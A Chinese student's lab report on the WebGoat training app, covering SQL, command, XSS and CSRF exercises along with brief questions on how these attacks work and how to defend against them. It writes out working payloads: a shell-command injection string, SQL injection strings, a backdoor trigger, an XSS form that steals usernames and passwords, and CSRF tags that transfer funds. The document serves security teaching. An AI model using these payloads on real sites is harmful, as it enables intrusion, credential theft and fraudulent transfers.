2018-2019-2 网络对抗技术 20165311 Exp 9 Web安全基础

  • 基础问题回答
  • 实践过程记录
    • WebGoat安装
    • SQL注入攻击
      • 1.命令注入(Command Injection)
      • 2.数字型注入(Numeric SQL Injection)
      • 3.字符串注入(String SQL Injection)
      • 4.数据库后门(Database Backdoors)
    • XSS攻击
      • 1.XSS 钓鱼(Phishing with XSS)
      • 2.反射型XSS攻击(Reflected XSS Attacks)
    • CSRF攻击
      • 1.跨站请求伪造(Cross Site Request Forgery (CSRF))
      • 2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
  • 实验总结与体会

基础问题回答

  • 1.SQL注入攻击原理,如何防御?
  • 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    • 防御:

      • 关闭或删除不必要的交互式提交表单页面;
      • 对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
      • 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
      • 将数据库里的内容进行加密处理使其不具有特殊的意义。
  • 2.XSS攻击的原理,如何防御?
    • 原理:XSS:跨站脚本。攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
    • 防御:
      • 用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
      • 网页制作者角度:对输入和URL参数进行过滤
  • 3.CSRF攻击原理,如何防御?
    • 原理:

      • CSRF :跨站请求伪造。
        CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
    • 防御:
      • 验证请求中的Token
      • 验证 Referer
      • 添加加随机验证
      • 设定cookie域

返回目录


WebGoat安装

1.下载 webgoat-container-7.0.-war-exec.ja r文件
2、在含有该文件的目录下使用命令 java -jar webgoat-container-7.0.-war-exec.jar 运行Webgoat
3、在浏览器中输入 http://localhost:8080/WebGoat 进入WebGoat登录界面
4、使用默认用户名密码guest登录即可

返回目录

SQL注入攻击(Injection Flaws)

1.命令注入(Command Injection)

目标:可以在目标主机上执行任何系统命令

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
  • 点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功。

2.数字型注入(Numeric SQL Injection)

目标:该例子通过注入SQL字符串查看所有的天气数据。

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or =
  • 显示所有城市的天气情况,攻击成功。

3.字符串注入(String SQL Injection)

目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。

  • 正常情况下只能查询到用户名对应的信用卡号码

  • 输入查询的用户名Smith' or 1=1--
  • 得到所有用户的信用卡号码,攻击成功。

4.数据库后门(Database Backdoors)

目标:利用查询的脆弱性创建触发器。

  • 输入101,得到该用户的信息。
  • 输入注入语句; update employee set salary=执行两个语句
  • 输入
    ;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='ljx@hackme.com'WHERE userid = NEW.userid

返回目录


XSS攻击(Cross‐Site Scripting)

1.XSS 钓鱼(Phishing with XSS)

目标:创建一个 form,要求填写用户名和密码。将数据提交到  http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:

    • 受害人填写一个表格;
    • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

  • 编写一个带用户名和密码输入框的表格

//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

2.反射型XSS攻击(Reflected XSS Attacks)

目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击

输入代码 <script>alert(" You've been attacked");</script> ,点击purse的同时页面就给出了反馈

返回目录


CSRF攻击

1.跨站请求伪造(Cross Site Request Forgery (CSRF))

目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

  • 查看页面右侧Parameters中的src和menu值,分别为267和900
  • 在title中输入任何参数,message框中输入
    <img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="" height="" />
  • 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。

2.绕过 CSRF 确认( CSRF Prompt By‐Pass)

目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。

  • 查看页面右侧Parameters中的src和menu值分别为270和900
  • 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。

返回目录


实验总结与体会

这次实验是通过webgoat来进行测试和攻击,webgoat很适合用来进行教学和练手,安装也很方便。这次实验分别尝试了SQL、CSRF、XSS攻击,攻击的场景类型也较为丰富,但也相对简单,距离实战还有一定的距离,当然应该应付一些设计缺陷较大,安全防范不足的小网站还是足够了,也让我们更直观的体会到web的脆弱性。

返回目录

2018-2019-2 网络对抗技术 20165311 Exp 9 Web安全基础的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165311 Exp 8 Web基础

    2018-2019-2 网络对抗技术 20165311 Exp 8 Web基础 基础问题回答 实践过程记录 1.Web前端:HTML 2.Web前端:javascipt 3.Web后端:MySQL基础 ...

  2. 2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础

    2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础 基础问题回答 实践过程记录 WebGoat安装 SQL注入攻击 1.命令注入(Command Injection) ...

  3. 2018-2019-2 网络对抗技术 20165232 Exp 9 Web安全基础

    2018-2019-2 网络对抗技术 20165232 Exp 9 Web安全基础 实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF) ...

  4. 2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础

    2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础 实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF) ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp 9 Web安全基础

    - 2018-2019-2 网络对抗技术 20165206 Exp 9 Web安全基础 - 实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,C ...

  6. 20165223《网络对抗技术》Exp 9 Web安全基础

    目录 -- Web安全基础 ★ 实验说明 实验目标 基础问答 实验准备 ★ 实验内容 SQL注入攻击 1. 命令注入(Command Injection) 2. 数字型注入(Numeric SQL I ...

  7. 2018-2019-2 网络对抗技术 20165235 Exp 9 Web安全基础

    实验任务 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理,如何防御 ...

  8. 2018-2019-2 20165313 《网络对抗技术》 Exp 9 Web安全基础

    一.实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 二.实验问题回答 (1)SQL注入攻击原理,如 ...

  9. 2018-2019-2 网络对抗技术 20165318 Exp 8 Web基础

    2018-2019-2 网络对抗技术 20165318 Exp 8 Web基础 原理与实践说明 实践内容概述 基础问题回答 实践过程记录 1.Web前端:HTML 2.Web前端:javascipt ...

随机推荐

  1. Java 之 反射机制

    反射:框架设计的灵魂 框架:是一个可以供我们使用的半成品软件.可以在框架的基础上进行软件开发,简化编码. 反射:将类的各个组成部分封装为其他对象,这就是反射机制. 好处: 1. 可以在程序运行过程中, ...

  2. 为满足中国税改,SAP该如何打SPS

    *****一定要先阅读这个note***** ***** 2736625 - [ZH] 应对2019中国个税改革,SAP系统升级常见问题汇总 **** 1784328 - How to check C ...

  3. SecureCRT和SecureFX的安装和破解

    1.SecureCRT & SecureFX 介绍 1.1 SecureCRT SecureCRT 是一款终端仿真软件,和 Putty 的功能类似. 不过相比Putty比较简单的功能,Secu ...

  4. iveiw DatePicker 只能选择本月之前的日期,本月包括之后都不能选择

    日期判断只能选择本月之前的日期 <DatePicker type="date" :options="options3" format="yyyy ...

  5. SASS 和 LESS 的区别

    1.编译环境不同 SASS 的安装需要 Ruby 环境,是在服务端处理的: LESS 需要引入 less.js 来处理代码输出 CSS 到浏览器,也可以在开发环节使用 LESS,然后编译成 CSS 文 ...

  6. linux网络编程之socket编程(十六)

    继续学习socket编程,今天的内容会有些难以理解,一步步来分解,也就不难了,正入正题: 实际上sockpair有点像之前linux系统编程中学习的pipe匿名管道,匿名管道它是半双工的,只能用于亲缘 ...

  7. Entity Framework的一个坑

    由于业务需要写了一个批量数据导入工具.中间踩了一个坑 问: 1. SaveChange 实体A 发生pk冲突,异常了.2.记录日志3.不让退出程序,继续处理下一个实体4.Add新的实体B5.再次调用S ...

  8. 图片处理:html文本获取图片Url,判断图片大小,存数据库

    1.从html文本获取图片Url /** * html文本中取出url链接 */ public class Url { public static void main(String[] args) { ...

  9. idea中关闭当前文件快捷键

    一.idea中关闭当前文件快捷键 1.一般编辑器中关闭当前文件快捷键为ctrl+w 2.而idea中默认为Ctrl+F4 3.可以将其改为自己熟悉的键位. 4.settings——>keymap ...

  10. Luogu P4198 楼房重建 (李超线段树)

    题目 传送门 题解 首先转化成到(0,0)(0,0)(0,0)的斜率. 那么就是求多少个点是前缀最大值. 做法是线段树,用gao(i,x)gao(i,x)gao(i,x)表示在iii区间内,之前最大值 ...